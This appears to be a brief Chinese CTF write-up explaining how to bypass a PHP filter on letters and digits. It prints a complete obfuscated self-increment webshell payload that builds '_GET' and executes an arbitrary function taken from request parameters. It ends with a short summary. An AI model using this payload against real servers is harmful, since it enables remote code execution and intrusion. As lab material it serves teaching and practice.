题目:

答案:

解析:
过滤了字母数字但是 '$' 、 '_'、 '='、';'、'+'、'{} '、'()'都没过滤可以用webshell自增绕过
构造:
$_=[].[];$_=$_[''];$__=$_[''];$___=$_[''];++$_;++$_;++$_;++$_;++$_;++$_;++$__;++$__;++$__;++$__;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;++$___;$_.=$__.$___;${'_'.$_}[_](${'_'.$_}[__]);
用url编码。
本文讨论了一种利用Webshell技术,通过构造特定的$_变量序列进行自增运算,从而绕过安全检查并实现代码执行的方法,强调了URL编码在攻击中的运用。
250

被折叠的 条评论
为什么被折叠?



